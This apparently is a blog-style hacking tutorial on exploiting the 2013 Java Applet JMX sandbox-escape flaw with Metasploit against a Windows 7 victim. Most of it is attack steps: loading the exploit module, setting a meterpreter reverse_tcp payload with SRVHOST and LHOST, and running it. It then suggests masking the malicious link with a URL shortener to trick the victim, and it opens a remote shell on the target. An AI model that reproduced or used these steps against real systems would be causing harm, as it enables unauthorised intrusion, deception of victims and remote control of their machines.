Remote System Hacking using java Applet JMX

Java Applet JMX Remote Code Execution

This module abuses the JMX classes from a Java Applet to run arbitrary Java code outside of the sandbox as exploited in the wild in January of 2013. The vulnerability affects Java version 7u10 and earlier.

Exploit Targets

• Generic (Java Payload) (default)
• Windows x86 (Native Payload)
• Mac OS X x86 (Native Payload)
• Linux x86 (Native Payload)

Requirements :

Attacker : Backtrack

Victim : Window 7

Step 1 : open terminal and type msfconsole metasploit framework.

Step 2 : use exploit/multi/browser/java_jre17_jmxbean

show payloads (It will shows us the list of all the payloads for that particular exploit )

Step 3 : Set payload java/meterpreter/reverse_tcp

show options (It will shows us the all the required options which we need to set )

Step 4 : set SRVHOST 192.168.56.101

set URIPATH / (set the root address for reverse connection)

set LHOST 192.168.56.101 (Local IP Address of our machine)

exploit

as we exploit the target the handler will starts on the IP Address as in my case it will be http://192.168.56.101:8080

we need to send this url to the victim system to makes it more offensive we can use shorturl online service so that you can hide the IP link .

as the exploitation completed the meterpreter session is opened here you can see in the image now we have to check the list of the sessions opened to do so type sessions -l  

Now connect the sessions by command sessions -i 1 (here 1 is my session Id from which we need to connect)

As the meterpreter session is opened we check our system information by sysinfo  here you can see in the image that it is on window 7 machine . as you type shell  in the meterpreter sessions we get the remote shell .  check IP Address by ipconfig command